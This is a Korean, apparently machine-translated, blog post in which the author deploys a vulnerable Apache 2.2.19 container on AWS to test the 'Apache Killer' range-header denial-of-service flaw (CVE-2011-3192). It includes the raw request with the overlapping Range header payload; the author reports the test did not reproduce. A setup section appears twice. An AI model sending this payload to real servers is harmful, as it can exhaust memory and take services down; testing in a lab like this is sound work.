AWS에서 Apache Killer를 사용해보십시오.
개요
뭔가 틈새 시장에서 지금? 하지만 Apache Killer를 테스트하기 위한 Apache 2.2.19의 환경을 원한다는 요구가 있어서 AWS상에 Docker 컨테이너를 만들어 보았습니다.
Apache Killer란, 2011년에 공개된 Apache HTTP Server 존재하는 취약성(CVE-2011-3192)을 악용해 DDoS 공격을 하는 툴의 총칭이라고 합니다. 취약성이 아닌 툴의 총칭이었군요.
작업 내용
사전 준비
사전에 다음을 실시하고 있습니다.
· AWS 계정 생성
· 작업 기계 (kali)에 docker-machine을 설치
또, 사전 준비는 URL(※1)를 참고로 해 Docker 이미지를 작성해 DockerHub상에 Push 하고 있습니다.
Docker 컨테이너 만들기
AWS에의 Docker 컨테이너 작성은 URL(※2)를 참고로 했습니다.
먼저 작업 머신에서 aws-sandbox라는 EC2 인스턴스를 AWS에 생성합니다.
// アクセスキーの登録
$ mkdir ~/.aws
$ vi ~/.aws/credentials
[default]
aws_access_key_id = XXXXXXXXX
aws_secret_access_key = XXXXXXXX
// インスタンスの作成
$ docker-machine create --driver amazonec2 --amazonec2-open-port 8888 --amazonec2-region ap-northeast-1 aws-sandbox
사전 준비
사전에 다음을 실시하고 있습니다.
· AWS 계정 생성
· 작업 기계 (kali)에 docker-machine을 설치
또, 사전 준비는 URL(※1)를 참고로 해 Docker 이미지를 작성해 DockerHub상에 Push 하고 있습니다.
Docker 컨테이너 만들기
AWS에의 Docker 컨테이너 작성은 URL(※2)를 참고로 했습니다.
먼저 작업 머신에서 aws-sandbox라는 EC2 인스턴스를 AWS에 생성합니다.
// アクセスキーの登録
$ mkdir ~/.aws
$ vi ~/.aws/credentials
[default]
aws_access_key_id = XXXXXXXXX
aws_secret_access_key = XXXXXXXX
// インスタンスの作成
$ docker-machine create --driver amazonec2 --amazonec2-open-port 8888 --amazonec2-region ap-northeast-1 aws-sandbox
작업 머신에서 명령을 실행하고 인스턴스에서 Docker 이미지를 검색합니다.
// 環境変数を設定
$ eval $(docker-machine env aws-sandbox)
// インスタンスを確認
$ docker-machine ls
NAME ACTIVE DRIVER STATE URL SWARM DOCKER ERRORS
aws-sandbox * amazonec2 Running tcp://54.95.XX.XXXX:2376 v19.03.8
// インスタンス上でDockerイメージを取得しコンテナを生成。
$ docker $(docker-machine config aws-sandbox) run -d -p 8888:80 --name apachekiller stcmjp/cve-2011-3192:1.0
인스턴스에 연결하면 Docker 컨테이너가 생성되었는지 확인할 수 있습니다. 생성 후 컨테이너는 즉시 정지하고 있습니다.
// AWS上のインスタンスに接続
$ docker-machine ssh aws-sandbox
// コンテナの状態を確認
$ sudo su -
# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
stcmjp/cve-2011-3192 1.0 db5ddb6a43bb 14 hours ago 1.44GB
# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9ca518ad305c stcmjp/cve-2011-3192:1.0 "/bin/bash" 8 minutes ago Exited (0) 8 minutes ago apachekiller
계속해서 인스턴스에서 컨테이너를 시작합니다.
// コンテナを起動し接続
# docker run -i -t -p 8888:80 -t stcmjp/cve-2011-3192:1.0 /bin/bash
// Apacheの起動
[root@b3230326486e /]# /etc/init.d/httpd start
이제 작업 머신의 브라우저에서 http://54.95.XXX.XXX:8888/index.php 에 연결할 수 있습니다.
취약성 검증
준비가 끝난 곳에서 작업 머신으로부터 URL(※3)를 참고로 PoC를 시험해 봅니다.
# telnet 54.95.XXX.XXX 8888
Trying 54.95.XXX.XXX...
Connected to 54.95.XXX.XXX.
Escape character is '^]'.
GET /index.php HTTP/1.1
Host: 54.95.XXX.XXX:8888
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30
HTTP/1.1 200 OK
Date: Sat, 11 Apr 2020 06:07:42 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/1.0.1e-fips DAV/2 PHP/5.3.5
X-Powered-By: PHP/5.3.5
Transfer-Encoding: chunked
Content-Type: text/html
어라? 재현할 수 없습니다. orz
취약점이 있는 경우 응답 코드가 HTTP/1.1 206 Partial Contet이 될 것입니다.
시간이 생기면 자세히 조사해 보겠습니다.
참고 URL
Reference
이 문제에 관하여(AWS에서 Apache Killer를 사용해보십시오.), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/stcmjp/items/e8ad140b6a58a41f6784텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)